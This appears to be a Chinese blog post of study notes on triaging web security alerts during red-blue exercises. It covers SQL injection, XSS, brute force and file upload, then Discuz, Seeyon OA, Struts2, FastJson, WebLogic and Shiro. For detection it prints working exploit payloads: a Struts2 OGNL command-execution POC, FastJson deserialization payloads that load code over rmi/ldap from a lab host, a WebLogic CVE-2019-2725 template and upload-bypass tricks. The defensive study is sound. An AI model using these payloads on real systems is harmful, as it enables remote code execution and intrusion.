Web常见告警学习

web常见告警分析学习

最近由于一些个人原因没有什么学习,摆烂了一段时间。这两天状态好点了,准备开始好好学习下了。刚好前段时间 george师傅 前段时间给我发了点hvv 应急告警的东西,(感觉不好好学习,都对不起这位师傅了。今天他又给我发了一些面试题。)也算是为了今年的 hvv 做点准备。

文章基于timeline sec团队学习。

一般告警

这里的一般告警指的就是常见的top10漏洞引发的告警信息,比如 sql xss 文件上传之类的。

SQL注入告警

原理:把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL命令。

image-20230311143959209

从HTTP流量看SQL注入的payload

image-20230311144119539

如何进行研判:判断设备告警信息中是否含有select,union,concat等sql语句的关键字,然后判断是否为正常 的业务语句,如果不是业务语句,则根据返回包判断是否成功注入,返回包无法判断的,可以自己将payload 复制下来,进行burp发包,根据发包的实际情况判断是否存在注入。

需要注意的是有时候会遇到 hex url base64 之类的编码,这种情况下需要进行解码操作。

XSS告警

原理:由于程序后端未做过滤,导致攻击者可以将恶意代码植入到正常的页面中。

image-20230311144432659
image-20230311144458399

流量特征:含有script,html标签等关键字。

image-20230311144517440

如何进行研判:判断设备告警信息中是否含有script,html标签等关键字,之后可到相应web页面去查看(注 意:不要登录系统账号)是否存在具体的payload。

注:payload可能进行html,url等格式编码,有时需要进行解码。

暴力破解告警

原理:暴力破解漏洞的产生来自于服务器没有对输入参数次数进行限制。导致攻击者可以通过暴力的手段进 行破解所需要的信息。

流量特征

image-20230311144625428
image-20230311144643999

如何进行研判

 1、状态码:100次30x,1次200,或者颠倒 

 2、状态码相同,看返回包内容,比如: Success:true,success:false;

 3、以上信息都判断完毕之后,使用暴破出的密码直接登录,看是否能登录成功。
文件上传告警

原理:后台对文件上传格式校验不严格中间件存在解析漏洞,导致文件上传可绕过。

流量特征 看是否又恶意代码

image-20230311144752780
image-20230311144804255

文件上传常用的方法

1、CMS本身存在文件上传漏洞 

2、编辑器漏洞 Eweditor Fckeditor ueditor 

3、中间件解析漏洞 IIS 5.x-6.0 xx.asp;.jpg /123.asp/ddd.jpg .aspx/.asa/.cer/.cdx IIS7/7.5 Fast-cgi开启 xx.jpg后面加/xx.php / xx.jpg/xx.php解析为 php 文件 Apache apache就会把sec.php.owf.rar解析成php 

4、PUT方法开启直接上传 

5、nginx %00 在文件名后添加一个%00字节,可以截断某些函数对文件名的判断

//关于这个部分 往期我有一篇博客内容更加详细。是基于黑白名单的绕过写的。
常见CMS告警

一些cms具有nday 攻击者可以利用这些poc 和 exp 直接打。

Discuz 告警

Discuz!ML V3.2-3.4代码执行漏洞

原理:Discuz!ML 系统对cookie中的l接收的language参数内容未过滤,导致字符串拼接,从而执行php代码。 检测方式: 在流量字段中检查language或者含有language的参数,是否含有php代码。

image-20230311145441207
致远OA文件上传(实则代码执行)
致远文件上传
原理:对formulaManager参数校验不完整,导致Java代码被gzip ISO-8859-1与URL编码后可进行Java代码执行。
检测方式:
1、URL特征:
/autoinstall.do.css/..;/ajax.do?method=ajaxAction&managerName=formulaManager&requestCompress=gzip
2、对arguments参数进行解码
"pocContent": 
"managerMethod=validate&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00%C2%8B%C2%AEVO%C3%8B%2F%
C3%8A-
%C3%8DI%0C%C2%A9%2CHU%C2%B7R0%C3%94Q%C2%80%C2%89%C3%B8%25%C3%A6%C2%82D%C3%94KR%C2%8BK%C
3%94%11%C3%82%C2%AE%15%05E%C2%A9%C3%85%C3%85%C2%99%C3%B9y+%C3%89%C3%A0%C2%92%C2%A2%C3%8C%
C2%BCt%C2%85%C2%82%C3%84%C2%92%0C%05%5B%05%25C%25%C3%ABZk%C2%90%06%0DM%C3%AB%C2%94%C3%94
4%C2%85%C3%A2%C2%92%C3%84%C2%92%C3%8Cd%C2%85%C2%8A%C2%8A%0A%0D%C3%8Dj%C3%B5Z%C2%A0%29%40
%C2%93%C2%AAAtIQi%C2%AAz%2C%00l%C3%BA%C2%92%C3%AC%C2%80%00%00%00"
3、检测工具:
https://github.com/TimelineSec/ATTCK-Tools-library/tree/master/SeeyonEx
Struts2漏洞告警
Struts2命令执行告警

原理:OGNL表达式动态执行Java代码

POC

%{
#a=(new java.lang.ProcessBuilder(new
java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
FastJson漏洞告警
fastJson反序列化
public class User {
private int age;
private String userName;
public User() {
System.out.println("User construct");
}public String getUserName() {
System.out.println("getUserName");
return userName;
}public void setUserName(String userName) {
System.out.println("setUserName:" + userName);
this.userName = userName;
}public int getAge() {
System.out.println("getAge");
return age;
}public void setAge(int age) {
System.out.println("setAge:" + age);
this.age = age;
}
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"test_fastjson.User\", \"age\":24,\"userName\":\"李四\"}";
try {
JSON.parseObject(jsonstr);
}catch (Exception e) {
System.out.println(e.getMessage());
}

    
    //输出结果
User construct
setAge:24
setUserName:李四
getAge
getUserName
常见的反序列化链流量特征( TemplatesImpl) :
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
“_bytecodes” : 
[“yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcA
KQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUY
WJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL
3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXp
lci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW
4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwY
WNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXB
hY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAI
PGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2
YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZ
wEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0a
W9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsY
W4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9
vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQam
F2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwE],
"_name" : "a","_tfactory" : {}, "outputProperties" : {}}
常见的反序列化链流量特征( JdbcRowSetImpl ) :
Rmi方式:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.50.131:9999/
Exploit","autoCommit":true}
LDAP方式:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.50.131:9999
/Exploit","autoCommit":true}
其余流量特征:1.2.25版本开始,进一步添加了配置项setAutoTypeSupport以及白名单
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
} 
{"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://192.168.50.131:9999/Exploit",
"autoCommit": true
}
}
weblogic反序列化
Weblogic漏洞告警-XMLDecoder类型反序列化
因为XMLDecoder对SOAP形式的XML文件进行解析,对WorkContext标签内的所有标签进行解析,将java标签下的第一个职位class的object标签解析为需要加载的类,将最后一个class值为method的void标签解析为加载的类所要使用的方法,将array标签内class的值解析为方
法的参数类型,length为参数的个数,中间的void+string类型的标签为方法执行的各个参数值。

POC

image-20230311150405115
CVE-2019-2725 10.3.6POC:
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
<array 
method="forName"><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string
>
<void>
<array class="byte" length=反序列化数据字节的长度> 
<void index="0"> <byte>-84</byte> ... ... </array>
</void>
</class> 
</java> 
</work:WorkContext>

CVE-2019-2725 12.1.3 POC

image-20230311150518814
Weblogic漏洞告警-T3类型反序列化

原理:因为T3数据传输结构的特殊性,导致了它可以进行反序列化利用

image-20230311150647696

流量特征:

在TCP流量中(T3协议基于TCP协议),反序列化数据通常以ac ed 00 05开头,在T3中开头 特征都一样,结尾为:fe010000

所以,拿到T3的流量包用wireshark打开跟踪TCP流:

image-20230311150829477

hex解码

image-20230311150901561
Weblogic漏洞告警-IIOP类型反序列化

GIOP也是基于TCP,同样可以造成反序列化代码执行

流量特征:

image-20230311151010634
Shiro漏洞告警
Shiro反序列化告警
Shiro550原理:
Shiro组件会将前端的cookie中的RememberMe参数进行AES及Base64解密,然后将其反序
列化。
Shiro721原理:
在Shiro550之后,Shiro要求提供正确的cookie以进行身份校验,而正确的cookie之后的恶意
反序列化字段则会被Oracle Padding解密,导致反序列化代码执行
流量特征:
发送数据包中还有RememberMe字段且RememberMe字段含有大量的Base64编码,返回包
中含有remeberMe=deleteMe。